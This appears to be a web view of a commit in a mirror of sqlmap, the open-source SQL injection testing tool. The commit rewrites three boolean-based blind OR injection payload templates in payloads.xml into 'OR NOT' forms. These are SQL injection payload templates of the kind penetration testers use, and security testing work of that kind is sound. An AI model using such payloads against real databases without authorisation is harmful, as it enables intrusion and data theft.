PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-12-06 12:41:30 +00:00
Code Issues Projects Releases Wiki Activity

proper way of handling OR based injections (completely compatible with current AND based inference engine)

Browse Source
This commit is contained in:
Miroslav Stampar
2010-12-06 17:23:21 +00:00
parent 27ee9a5ccf
commit e4b51dd549
1 changed files with 9 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

18
xml/payloads.xml
View File

@@ -452,12 +452,12 @@ Formats:
<risk>3</risk> <risk>3</risk>
<clause>1</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR [INFERENCE]</vector> <vector>OR NOT [INFERENCE]</vector>
<request> <request>
<payload>OR [RANDNUM]=[RANDNUM1]</payload> <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
</request> </request>
<response> <response>
<comparison>OR [RANDNUM]=[RANDNUM]</comparison> <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
</response> </response>
</test> </test>
@@ -468,13 +468,13 @@ Formats:
<risk>3</risk> <risk>3</risk>
<clause>1</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR [INFERENCE]</vector> <vector>OR NOT [INFERENCE]</vector>
<request> <request>
<payload>OR [RANDNUM]=[RANDNUM1]</payload> <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
<comment>#</comment> <comment>#</comment>
</request> </request>
<response> <response>
<comparison>OR [RANDNUM]=[RANDNUM]</comparison> <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@@ -488,13 +488,13 @@ Formats:
<risk>3</risk> <risk>3</risk>
<clause>1</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR [INFERENCE]</vector> <vector>OR NOT [INFERENCE]</vector>
<request> <request>
<payload>OR [RANDNUM]=[RANDNUM1]</payload> <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
<comparison>OR [RANDNUM]=[RANDNUM]</comparison> <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
</response> </response>
</test> </test>
<!-- End of boolean-based blind tests - WHERE clause --> <!-- End of boolean-based blind tests - WHERE clause -->